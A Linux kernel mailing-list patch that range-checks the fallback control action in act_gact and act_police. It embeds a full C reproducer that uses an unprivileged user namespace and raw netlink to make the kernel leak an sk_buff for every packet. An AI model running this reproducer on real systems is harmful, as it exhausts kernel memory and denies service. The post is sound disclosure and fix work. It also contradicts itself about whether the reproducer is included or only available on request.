The Linux Kernel Mailing List
 help / color / mirror / Atom feed
* [PATCH net v2] net/sched: act_gact, act_police: range check the fallback control action
@ 2026-08-06 10:12 Hyunjung Ko
  2026-08-06 18:48 ` Jamal Hadi Salim
  2026-08-06 18:53 ` Victor Nogueira
  0 siblings, 2 replies; 3+ messages in thread
From: Hyunjung Ko @ 2026-08-06 10:12 UTC (permalink / raw)
  To: David S . Miller, Eric Dumazet, Jakub Kicinski, Paolo Abeni,
	Simon Horman, Jamal Hadi Salim, Jiri Pirko
  Cc: netdev, linux-kernel, Hyunjung Ko, stable

tcf_action_check_ctrlact() range checks the primary control action:

	if (!opcode)
		ret = action > TC_ACT_VALUE_MAX ? -EINVAL : 0;

TC_ACT_VALUE_MAX is TC_ACT_TRAP, so kernel-internal verdicts above it
cannot be set that way. But act_gact and act_police each carry a second,
independent control action supplied by user space that never reaches that
helper - TCA_GACT_PROB.paction and TCA_POLICE_RESULT. Both only reject
TC_ACT_GOTO_CHAIN, so any other value is stored verbatim and returned
verbatim from the action.

In particular user space can store TC_ACT_CONSUMED, which is
TC_ACT_VALUE_MAX + 1 and is deliberately not part of the UAPI value
range. That verdict tells every caller the action took ownership of the
skb, so nobody frees it: sch_handle_ingress(), sch_handle_egress() and
tcf_qevent_handle() all deliberately skip the free for it. The result is
one leaked sk_buff plus its data buffer per packet traversing the filter,
unbounded, for all traffic on the chain including kernel-generated
packets.

Both are trivially deterministic. act_gact clamps tcfg_pval to >= 1, so
with pval = 1 gact_determ() returns the fallback for every packet.
act_police has no mandatory rate, so rate = 0 leaves tcfp_mtu = ~0 and
tcf_police_mtu_check() always passes.

TC_ACT_CONSUMED was added by commit 720f22fed81b ("net: sched: refactor
reinsert action"), after both goto-chain guards were written:
commit 9469f375ab09 ("net/sched: act_gact: disallow 'goto chain' on
fallback control action") and
commit c08f5ed5d625 ("net/sched: act_police: disallow 'goto chain' on
fallback control action"). Neither guard was widened when the new
verdict appeared.

Factor the existing range test out of tcf_action_check_ctrlact() as
tcf_action_valid() and apply it to both fallbacks. The helper cannot call
tcf_action_check_ctrlact() directly because that also allocates a
goto_chain, which is exactly what these two sites must not do.

Reproduced on v7.2-rc6: kmemleak reports one leaked 232-byte
skbuff_head_cache object plus its 704-byte data buffer per packet. With
this patch both configurations are rejected with -EINVAL and kmemleak
reports none.

Fixes: 720f22fed81b ("net: sched: refactor reinsert action")
Cc: stable@vger.kernel.org # v5.3+
Assisted-by: Anthropic-Claude-Code:Claude-Opus-5
Signed-off-by: Hyunjung Ko <hj351016@gmail.com>
---
 include/net/act_api.h  | 19 +++++++++++++++++++
 net/sched/act_gact.c   |  5 +++++
 net/sched/act_police.c |  6 ++++++
 3 files changed, 30 insertions(+)

v2:
 - add Assisted-by: tag
 - explain below why no tdc case is possible; C reproducer offered
 - no functional change
v1: https://lore.kernel.org/netdev/20260805095527.204088-1-hj351016@gmail.com/

No tdc selftest accompanies this one, unlike the act_ct fix: tdc drives
tc(8), and iproute2 only parses symbolic control-action names, so the bad
value cannot be expressed at all.

  $ tc actions add action gact drop random determ ok 2
  RTNETLINK answers: Operation not permitted   <- parsed fine
  $ tc actions add action gact drop random determ 9 2
  Bad action type 9                            <- rejected by iproute2

The fallback therefore has to be planted over raw netlink. Self-contained
reproducer below; on an unpatched kernel it prints

  gact    fallback = 9 (TC_ACT_CONSUMED): ACCEPTED BY THE KERNEL
          skbuff_head_cache 140 -> 364 (+224) after 200 packets

  police  fallback = 9 (TC_ACT_CONSUMED): ACCEPTED BY THE KERNEL
          skbuff_head_cache 364 -> 560 (+196) after 200 packets

and with this patch applied both filters are refused with -EINVAL
"invalid fallback control action" and nothing leaks.

8<--------------------------------------------------
// SPDX-License-Identifier: GPL-2.0
/*
 * act_gact / act_police accept an out-of-range fallback control action.
 *
 * tc(8) cannot express this: iproute2 only parses symbolic action names, so
 * the value has to be planted over raw netlink. Build and run as an
 * unprivileged user (needs unprivileged userns) or as root:
 *
 *	gcc -O2 -o repro repro.c && ./repro
 *
 * Needs CONFIG_NET_ACT_GACT + CONFIG_GACT_PROB, CONFIG_NET_ACT_POLICE.
 * Add CONFIG_DEBUG_KMEMLEAK and boot with kmemleak=on to see the leaked
 * objects; /proc/slabinfo alone is enough to see the growth.
 */
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>
#include <linux/rtnetlink.h>
#include <net/if.h>
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <fcntl.h>
#include <unistd.h>

#define TC_H_CLSACT	0xFFFFFFF1U
#define TC_H_MIN_INGRESS 0xFFF2U
#define TCA_KIND_	1
#define TCA_OPTIONS_	2
#define TCA_ACT_KIND_	1
#define TCA_ACT_OPTIONS_ 2
#define TCA_MATCHALL_ACT_ 2
#define TCA_GACT_PARMS_	2
#define TCA_GACT_PROB_	3
#define TCA_POLICE_TBF_	1
#define TCA_POLICE_RESULT_ 5
#define PGACT_DETERM_	2
#define BAD_ACTION	9		/* TC_ACT_CONSUMED, kernel-internal */

struct tc_gen { __u32 index, capab; int action, refcnt, bindcnt; };
struct tc_gact_p_ { __u16 ptype, pval; int paction; };
struct tc_ratespec_ { __u8 cell_log, linklayer; __u16 overhead;
		      __s16 cell_align; __u16 mpu; __u32 rate; };
struct tc_police_ { __u32 index; int action; __u32 limit, burst, mtu;
		    struct tc_ratespec_ rate, peakrate;
		    int refcnt, bindcnt; __u32 capab; };

static int nl;
static char extack[256];

struct req { struct nlmsghdr n; char buf[2048]; };

static void *tail(struct nlmsghdr *n) { return (char *)n + NLMSG_ALIGN(n->nlmsg_len); }

static void addattr(struct nlmsghdr *n, int type, const void *d, int len)
{
	struct rtattr *rta = tail(n);

	rta->rta_type = type;
	rta->rta_len = RTA_LENGTH(len);
	if (len)
		memcpy(RTA_DATA(rta), d, len);
	n->nlmsg_len = NLMSG_ALIGN(n->nlmsg_len) + RTA_ALIGN(rta->rta_len);
}

static void addstr(struct nlmsghdr *n, int t, const char *s)
{
	addattr(n, t, s, strlen(s) + 1);
}

static struct rtattr *nest(struct nlmsghdr *n, int t)
{
	struct rtattr *r = tail(n);

	addattr(n, t | NLA_F_NESTED, NULL, 0);
	return r;
}

static void unnest(struct nlmsghdr *n, struct rtattr *r)
{
	r->rta_len = (char *)tail(n) - (char *)r;
}

static int talk(struct nlmsghdr *n)
{
	char rbuf[8192];
	struct iovec iov = { n, n->nlmsg_len };
	struct sockaddr_nl sa = { .nl_family = AF_NETLINK };
	struct msghdr m = { &sa, sizeof(sa), &iov, 1, NULL, 0, 0 };
	static __u32 seq = 1;
	struct nlmsghdr *h;
	ssize_t len;

	n->nlmsg_seq = ++seq;
	n->nlmsg_flags |= NLM_F_ACK;
	extack[0] = '\0';
	if (sendmsg(nl, &m, 0) < 0)
		return -errno;
	iov.iov_base = rbuf; iov.iov_len = sizeof(rbuf);
	len = recvmsg(nl, &m, 0);
	if (len < 0)
		return -errno;
	for (h = (void *)rbuf; NLMSG_OK(h, (unsigned)len); h = NLMSG_NEXT(h, len)) {
		struct nlmsgerr *e = NLMSG_DATA(h);
		struct rtattr *rta;
		int hlen = sizeof(*e), rl;

		if (h->nlmsg_type != NLMSG_ERROR)
			continue;
		if (e->error && (h->nlmsg_flags & NLM_F_ACK_TLVS)) {
			if (!(h->nlmsg_flags & NLM_F_CAPPED))
				hlen += e->msg.nlmsg_len - NLMSG_HDRLEN;
			rta = (void *)((char *)e + hlen);
			rl = h->nlmsg_len - NLMSG_HDRLEN - hlen;
			for (; RTA_OK(rta, rl); rta = RTA_NEXT(rta, rl))
				if ((rta->rta_type & NLA_TYPE_MASK) == 1)
					snprintf(extack, sizeof(extack), "%.*s",
						 (int)RTA_PAYLOAD(rta),
						 (char *)RTA_DATA(rta));
		}
		return e->error;
	}
	return 0;
}

static void init(struct req *r, int type, int flags, size_t hdr)
{
	memset(r, 0, sizeof(*r));
	r->n.nlmsg_len = NLMSG_LENGTH(hdr);
	r->n.nlmsg_type = type;
	r->n.nlmsg_flags = NLM_F_REQUEST | flags;
}

static int veth_add(void)
{
	struct req r;
	struct rtattr *li, *data, *peer;
	struct ifinfomsg ph = {};

	init(&r, RTM_NEWLINK, NLM_F_CREATE | NLM_F_EXCL, sizeof(struct ifinfomsg));
	addstr(&r.n, IFLA_IFNAME, "veth0");
	li = nest(&r.n, IFLA_LINKINFO);
	addstr(&r.n, IFLA_INFO_KIND, "veth");
	data = nest(&r.n, IFLA_INFO_DATA);
	peer = nest(&r.n, 1 /* VETH_INFO_PEER */);
	memcpy(tail(&r.n), &ph, sizeof(ph));
	r.n.nlmsg_len = NLMSG_ALIGN(r.n.nlmsg_len) + NLMSG_ALIGN(sizeof(ph));
	addstr(&r.n, IFLA_IFNAME, "veth1");
	unnest(&r.n, peer); unnest(&r.n, data); unnest(&r.n, li);
	return talk(&r.n);
}

static int link_up(const char *dev)
{
	struct req r;
	struct ifinfomsg *i;

	init(&r, RTM_NEWLINK, 0, sizeof(*i));
	i = NLMSG_DATA(&r.n);
	i->ifi_family = AF_UNSPEC;
	i->ifi_index = if_nametoindex(dev);
	i->ifi_flags = i->ifi_change = IFF_UP;
	return talk(&r.n);
}

static int clsact_add(void)
{
	struct req r;
	struct tcmsg *t;

	init(&r, RTM_NEWQDISC, NLM_F_CREATE | NLM_F_EXCL, sizeof(*t));
	t = NLMSG_DATA(&r.n);
	t->tcm_family = AF_UNSPEC;
	t->tcm_ifindex = if_nametoindex("veth0");
	t->tcm_parent = TC_H_CLSACT;
	t->tcm_handle = 0xFFFF0000U;
	addstr(&r.n, TCA_KIND_, "clsact");
	return talk(&r.n);
}

/* matchall + gact|police whose *fallback* control action is @fallback */
static int filter_add(const char *kind, int fallback)
{
	struct req r;
	struct tcmsg *t;
	struct rtattr *o, *acts, *a1, *ao;
	struct tc_gen parm = {};

	init(&r, RTM_NEWTFILTER, NLM_F_CREATE | NLM_F_EXCL, sizeof(*t));
	t = NLMSG_DATA(&r.n);
	t->tcm_family = AF_UNSPEC;
	t->tcm_ifindex = if_nametoindex("veth0");
	t->tcm_parent = 0xFFFF0000U | TC_H_MIN_INGRESS;
	t->tcm_info = (1u << 16) | htons(ETH_P_ALL);
	addstr(&r.n, TCA_KIND_, "matchall");
	o = nest(&r.n, TCA_OPTIONS_);
	acts = nest(&r.n, TCA_MATCHALL_ACT_);
	a1 = nest(&r.n, 1);
	addstr(&r.n, TCA_ACT_KIND_, kind);
	ao = nest(&r.n, TCA_ACT_OPTIONS_);
	if (!strcmp(kind, "gact")) {
		/* ptype = PGACT_DETERM, pval = 1 -> gact_determ() returns the
		 * fallback for every packet (tcfg_pval is clamped to >= 1). */
		struct tc_gact_p_ prob = { PGACT_DETERM_, 1, fallback };

		addattr(&r.n, TCA_GACT_PARMS_, &parm, sizeof(parm));
		addattr(&r.n, TCA_GACT_PROB_, &prob, sizeof(prob));
	} else {
		/* rate = 0 leaves tcfp_mtu = ~0, so tcf_police_mtu_check() is
		 * always true and tcf_police_act() returns tcfp_result. */
		struct tc_police_ pol = {};

		addattr(&r.n, TCA_POLICE_TBF_, &pol, sizeof(pol));
		addattr(&r.n, TCA_POLICE_RESULT_, &fallback, sizeof(fallback));
	}
	unnest(&r.n, ao); unnest(&r.n, a1); unnest(&r.n, acts); unnest(&r.n, o);
	return talk(&r.n);
}

static int filter_flush(void)
{
	struct req r;
	struct tcmsg *t;

	init(&r, RTM_DELTFILTER, 0, sizeof(*t));
	t = NLMSG_DATA(&r.n);
	t->tcm_family = AF_UNSPEC;
	t->tcm_ifindex = if_nametoindex("veth0");
	t->tcm_parent = 0xFFFF0000U | TC_H_MIN_INGRESS;
	return talk(&r.n);
}

static long skbs(void)
{
	char l[512];
	FILE *f = fopen("/proc/slabinfo", "r");
	long a = -1;

	if (!f)
		return -1;
	while (fgets(l, sizeof(l), f)) {
		char n[128]; long act, num;

		if (sscanf(l, "%127s %ld %ld", n, &act, &num) == 3 &&
		    !strcmp(n, "skbuff_head_cache")) { a = act; break; }
	}
	fclose(f);
	return a;
}

static void inject(int n)
{
	unsigned char f[54] = { [0 ... 5] = 0xaa, [6 ... 11] = 0xbb };
	struct sockaddr_ll s = { .sll_family = AF_PACKET, .sll_halen = 6 };
	int fd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL)), i;

	f[12] = 0x86; f[13] = 0xdd;	/* IPv6 */
	f[14] = 0x60; f[20] = 59; f[21] = 64;	/* nexthdr NONE, hop limit */
	s.sll_ifindex = if_nametoindex("veth1");
	memset(s.sll_addr, 0xaa, 6);
	if (fd < 0 || bind(fd, (struct sockaddr *)&s, sizeof(s)) < 0)
		return;
	for (i = 0; i < n; i++)
		sendto(fd, f, sizeof(f), MSG_DONTWAIT,
		       (struct sockaddr *)&s, sizeof(s));
	usleep(400000);
	close(fd);
}

static void run(const char *kind)
{
	long before, after;
	int rc;

	filter_flush();
	rc = filter_add(kind, BAD_ACTION);
	printf("\n%-7s fallback = %d (TC_ACT_CONSUMED): %s%s%s\n", kind,
	       BAD_ACTION, rc ? "REJECTED" : "ACCEPTED BY THE KERNEL",
	       rc && extack[0] ? " -- " : "", rc ? extack : "");
	if (rc)
		return;
	before = skbs();
	inject(200);
	after = skbs();
	printf("        skbuff_head_cache %ld -> %ld (%+ld) after 200 packets\n",
	       before, after, after - before);
}

int main(void)
{
	struct sockaddr_nl sa = { .nl_family = AF_NETLINK };
	char b[64];
	int on = 1, fd;
	uid_t uid = getuid();

	if (unshare(CLONE_NEWUSER | CLONE_NEWNET) == 0) {
		fd = open("/proc/self/setgroups", O_WRONLY);
		if (fd >= 0) { write(fd, "deny", 4); close(fd); }
		snprintf(b, sizeof(b), "0 %d 1", getgid());
		fd = open("/proc/self/gid_map", O_WRONLY);
		if (fd >= 0) { write(fd, b, strlen(b)); close(fd); }
		snprintf(b, sizeof(b), "0 %d 1", uid);
		fd = open("/proc/self/uid_map", O_WRONLY);
		if (fd >= 0) { write(fd, b, strlen(b)); close(fd); }
	} else if (unshare(CLONE_NEWNET)) {
		perror("unshare"); return 1;
	}

	nl = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
	setsockopt(nl, SOL_NETLINK, 11 /* NETLINK_EXT_ACK */, &on, sizeof(on));
	if (bind(nl, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
		perror("bind"); return 1;
	}
	if (veth_add() || link_up("veth0") || link_up("veth1") || clsact_add()) {
		fprintf(stderr, "setup failed\n"); return 1;
	}

	run("gact");
	run("police");
	printf("\nA fixed kernel rejects both with -EINVAL and leaks nothing.\n");
	return 0;
}
-------------------------------------------------->8

Reproducer needs CONFIG_NET_ACT_GACT + CONFIG_GACT_PROB and
CONFIG_NET_ACT_POLICE, plus CONFIG_DEBUG_KMEMLEAK and kmemleak=on to
observe it.

The bad value cannot be set with tc(8) - iproute2 only parses symbolic
action names - so the fallback has to be planted over raw netlink:
TCA_GACT_PROB.paction = 9 with ptype = PGACT_DETERM and pval = 1, or
TCA_POLICE_RESULT = 9 with rate = 0. Attach either to a clsact ingress
chain and every packet leaks its skb.

Before, one sk_buff plus its data buffer per packet:

  kmemleak: 166 new suspected memory leaks
  unreferenced object 0xffff888103baadc0 (size 232):
    kmem_cache_alloc_node_noprof+0x2f1/0x3e0
    __alloc_skb+0xe5/0x860
    alloc_skb_with_frags+0x82/0x750
    sock_alloc_send_pskb+0x658/0x7e0
    packet_sendmsg+0x1833/0x4860
    __x64_sys_sendto+0xe0/0x1c0
    do_syscall_64+0x102/0x5a0

After: both configurations are rejected at netlink time with -EINVAL
and "invalid fallback control action", and kmemleak reports no
unreferenced objects.

For the same reason tdc cannot express the bad configuration, so no
selftest accompanies this patch. A self-contained C reproducer is
available on request.

diff --git a/include/net/act_api.h b/include/net/act_api.h
index 20d9e55f8564..fd03f6319e88 100644
--- a/include/net/act_api.h
+++ b/include/net/act_api.h
@@ -270,6 +270,25 @@ int tcf_action_check_ctrlact(int action, struct tcf_proto *tp,
 struct tcf_chain *tcf_action_set_ctrlact(struct tc_action *a, int action,
 					 struct tcf_chain *newchain);
 
+/* Range check for a control action supplied by user space.
+ *
+ * This is the same test tcf_action_check_ctrlact() applies to the primary
+ * control action, factored out for the *fallback* control actions
+ * (act_gact's TCA_GACT_PROB.paction and act_police's TCA_POLICE_RESULT),
+ * which must not reach tcf_action_check_ctrlact() because they have no
+ * goto_chain to allocate.  Without it, user space can store kernel-internal
+ * verdicts such as TC_ACT_CONSUMED, which is TC_ACT_VALUE_MAX + 1 and is
+ * deliberately not part of the UAPI value range.
+ */
+static inline bool tcf_action_valid(int action)
+{
+	int opcode = TC_ACT_EXT_OPCODE(action);
+
+	if (!opcode)
+		return action <= TC_ACT_VALUE_MAX;
+	return opcode <= TC_ACT_EXT_OPCODE_MAX || action == TC_ACT_UNSPEC;
+}
+
 #ifdef CONFIG_INET
 DECLARE_STATIC_KEY_FALSE(tcf_frag_xmit_count);
 #endif
diff --git a/net/sched/act_gact.c b/net/sched/act_gact.c
index e949280eb800..565860cccba6 100644
--- a/net/sched/act_gact.c
+++ b/net/sched/act_gact.c
@@ -89,6 +89,11 @@ static int tcf_gact_init(struct net *net, struct nlattr *nla,
 		p_parm = nla_data(tb[TCA_GACT_PROB]);
 		if (p_parm->ptype >= MAX_RAND)
 			return -EINVAL;
+		if (!tcf_action_valid(p_parm->paction)) {
+			NL_SET_ERR_MSG(extack,
+				       "invalid fallback control action");
+			return -EINVAL;
+		}
 		if (TC_ACT_EXT_CMP(p_parm->paction, TC_ACT_GOTO_CHAIN)) {
 			NL_SET_ERR_MSG(extack,
 				       "goto chain not allowed on fallback");
diff --git a/net/sched/act_police.c b/net/sched/act_police.c
index b16468a98c55..ce08f6840ef7 100644
--- a/net/sched/act_police.c
+++ b/net/sched/act_police.c
@@ -128,6 +128,12 @@ static int tcf_police_init(struct net *net, struct nlattr *nla,
 
 	if (tb[TCA_POLICE_RESULT]) {
 		tcfp_result = nla_get_u32(tb[TCA_POLICE_RESULT]);
+		if (!tcf_action_valid(tcfp_result)) {
+			NL_SET_ERR_MSG(extack,
+				       "invalid fallback control action");
+			err = -EINVAL;
+			goto failure;
+		}
 		if (TC_ACT_EXT_CMP(tcfp_result, TC_ACT_GOTO_CHAIN)) {
 			NL_SET_ERR_MSG(extack,
 				       "goto chain not allowed on fallback");
--
2.43.0

^ permalink raw reply related	[flat|nested] 3+ messages in thread
end of thread, other threads:[~2026-08-06 18:53 UTC | newest]

Thread overview: 3+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-08-06 10:12 [PATCH net v2] net/sched: act_gact, act_police: range check the fallback control action Hyunjung Ko
2026-08-06 18:48 ` Jamal Hadi Salim
2026-08-06 18:53 ` Victor Nogueira

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox